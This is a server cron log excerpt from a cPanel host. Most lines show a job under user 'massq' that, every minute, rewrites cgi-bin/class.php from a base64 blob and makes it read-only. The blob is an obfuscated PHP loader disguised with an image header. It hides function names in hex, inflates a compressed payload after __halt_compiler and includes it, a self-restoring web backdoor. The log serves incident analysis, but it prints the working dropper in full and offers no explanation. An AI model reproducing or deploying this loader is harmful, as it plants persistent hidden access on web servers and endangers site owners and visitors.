Nov 13 10:11:01 server CROND[18679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:12:02 server CROND[19563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:12:02 server CROND[19564]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 10:13:01 server CROND[20417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:14:01 server CROND[21290]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:15:01 server CROND[21600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:15:01 server CROND[21601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:15:01 server CROND[21602]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:15:01 server CROND[21603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:16:01 server CROND[22415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:17:01 server CROND[23270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:18:01 server CROND[24221]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:19:01 server CROND[24942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:20:01 server CROND[25965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 10:20:01 server CROND[25967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 10:20:01 server CROND[25968]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 10:20:01 server CROND[25976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:20:01 server CROND[25977]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 10:21:01 server CROND[26941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:22:01 server CROND[27794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 10:23:01 server CROND[28604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
